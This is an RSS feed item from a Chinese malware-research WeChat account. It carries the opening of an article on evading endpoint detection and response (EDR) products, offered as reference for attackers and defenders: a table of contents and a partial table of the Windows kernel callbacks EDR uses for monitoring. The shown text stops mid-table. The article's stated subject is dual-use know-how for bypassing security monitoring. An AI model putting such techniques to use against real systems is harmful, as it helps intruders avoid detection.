<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>安全分析与研究</title>
    <link>https://wechat2rss.xlab.app/feed/62ba31603ffe26b5a8eca9ddaa434ea612445c10.xml</link>
    <description>专注于全球恶意软件的分析与研究，追踪全球黑客组织攻击活动与攻击技术&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (安全分析与研究)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM437icibNRUYQKurrXrI66RUPWzBZmIsEZXTcFEGibfziaWCg/0</url>
      <title>安全分析与研究</title>
      <link>https://wechat2rss.xlab.app/feed/62ba31603ffe26b5a8eca9ddaa434ea612445c10.xml</link>
    </image>
    <item>
      <title>EDR终端对抗技术深度剖析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496713&amp;idx=1&amp;sn=c24eb0ce95d171688ffd9abd1170cbef</link>
      <description>本文从应用层、内核层、静态、动态四大维度，系统剖析 EDR 终端对抗技术的原理、实现与检测策略，为红蓝双方提供</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-05-17 20:00</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7d532986&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY5o8cicvJUBOibBm9t8OMw46wAIeO47fEAvEgtU7zn6HYSJzMsQevvwiaZ0icHPTnoTS03uE3ssaKNfy2IQF17uGffGS4IqibmEZqjI%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="安全分析与研究" data-alias="MalwareAnalysis" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/oibWJqH5OVmVcFgYKtoVnKR7h3pkl3AyxwS0l7iagicAJnYjEQhwIuZgR3RR65DLpJh2TGZS82DY7CjsBUmiaAl7BQ/0?wx_fmt=png" data-signature="专注于全球恶意软件的分析与研究，追踪全球黑客组织攻击活动与攻击技术" data-id="MzA4ODEyODA3MQ==" data-is_biz_ban="0" data-service_type="1" data-verify_status="1"></mp-common-profile></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">本文从应用层、内核层、静态、动态四大维度，系统剖析 EDR 终端对抗技术的原理、实现与检测策略，为红蓝双方提供全面的技术参考。</span></p></blockquote><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">目录</span></span></h2><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">一、EDR 监控体系全景</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">二、应用层对抗技术</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">三、内核层对抗技术</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">四、静态对抗技术</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">五、动态对抗技术</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">六、对抗技术全景矩阵</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">七、组合对抗战术与实战链路</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">八、蓝队检测与防御策略</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">九、实战工具与资源</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">十、技术演进趋势与展望</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">附录</span></p></li></ul><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">一、EDR 监控体系全景</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">1.1 EDR 监控架构总览</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">现代 EDR 产品采用多层次、全维度的监控体系，从用户态到内核态形成完整的检测闭环：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25925925925925924" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100013052" src="https://wechat2rss.xlab.app/img-proxy/?k=b75a2ef6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FM5H82XuSHY6eOj2QDDn2wpjhUawHIDqIorCfRia76pB4Pp5ZDNFPcOgC3hUthu4OnKGOG30VXtWYFt39rxpEvkKIoN6mRVrKjMtqH5EJX7rw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="color: rgb(136, 136, 136);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">1.2 内核回调机制</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">EDR 通过注册 Windows 内核回调来获取系统事件通知，这是 EDR 最基础也最关键的监控手段：</span></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">回调类型</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">注册函数</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">监控内容</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">数据结构</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">对应 SSRM</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程创建</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">PsSetCreateProcessNotifyRoutineEx</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">新进程启动/退出</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">PS_CREATE_NOTIFY_INFO</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">PsCreateProcess</span></code></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">线程创建</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">PsSetCreateThreadNotifyRoutine</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">新线程创建</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Thread ID + Process ID</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">PsCreateThread</span></code></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">镜像加载</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">PsSetLoadImageNotifyRoutine</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">DLL/EXE 映像加载</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">IMAGE_INFO_EX</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">PsLoadImage</span></code></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">文件操作</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">FltRegisterCallback</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">文件读写删除重命名</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">FLT_CALLBACK_DATA</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Mini-filter</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">注册表操作</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">CmRegisterCallback</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">注册表键值增删改查</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: 